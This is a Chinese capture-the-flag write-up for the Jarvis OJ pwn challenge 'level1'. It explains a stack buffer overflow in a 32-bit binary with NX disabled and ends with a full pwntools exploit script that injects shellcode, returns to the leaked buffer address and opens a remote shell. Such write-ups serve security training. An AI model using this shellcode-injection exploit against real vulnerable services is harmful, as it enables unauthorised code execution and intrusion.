当前位置: 代码迷 >> 综合 >> Jarvis OJ level1题解
  详细解决方案

Jarvis OJ level1题解

热度:10   发布时间:2023-12-10 16:41:35.0

题目网址https://www.jarvisoj.com/challenges
Pwn区level1题
首先把文件放入gdb中用checksec分析
在这里插入图片描述
分析发现,没有开启NX保护,说明文件内没有包含system(‘/bin/sh’),说明本题需要自己去构造shellcode。NX保护未开启表示着你输入的东西可执行,所以你需要构造shellcode填充数据,然后利用返回地址再次返回这个变量,就可以执行这个变量里面的内容。
PWN-shellcode获取与编写可以参考一下这个博客

该文件为32位的,这个可以自己丢进IDA试一下,不同位数的文件执行只能在相应位数的IDA中,丢入IDA,找到main函数,然后F5生成伪代码
在这里插入图片描述
观察后发现这个页面没有可利用的东西,然后进入function()函数
在这里插入图片描述
这时候发现了问题,read函数能允许你输入0x100(32位)数据,双击buf后观察发现buf距离返回地址只有0x88
在这里插入图片描述
所以存在了栈溢出
0x88+0x4就到达了返回地址。现在我们知道了payload的大小了
payload=shellcode+padding+bp+ret。其中shellcode+padding的大小为0x88
bp为0x4,返回地址就是buf的地址。现在需要找buf的地址了
再次回来伪代码这里
在这里插入图片描述
观察可发现printf函数获得了一次buf的地址,我们可以在这里接收buf的地址下面就附上完整的exp脚本

  1 from pwn import *#pwn工具包2 3 context.log_level = 'DEBUG'#日志,方便观察4 p = remote('pwn2.jarvisoj.com','9877')#远程连接5 #p = process(本机文件地址,如'./level1')6 p.recvuntil('this:')#接收到这个暂停,后面就是%p,是buf的地址7 buf_addr = int(p.recvuntil('?',drop=True),16)这里接收buf的地址8 payload = asm(shellcraft.sh()).ljust(0x88,'\x90')#这里插入shellcode,#这是pwn工具包自带的shellcode制作函数shellcraft.sh(),后面的ljust自行百度#用asm转换成汇编代码9 payload += 'a'*4 + p32(buf_addr)#payload=shellcode+padding+bp+ret10 print p32(buf_addr)#p32是因为这是32位的文件,把buf_addr的内容转换成32位的包11 print p.send(payload)12 #两次的print是为了方便观察13 p.interactive()#与终端互动#成功后即可使用ls查看文件,发现有一个flag文件,然后使用cat flag打开文件得到flag

感谢借鉴,欢迎各位评论纠正或者问问题。
在这里插入图片描述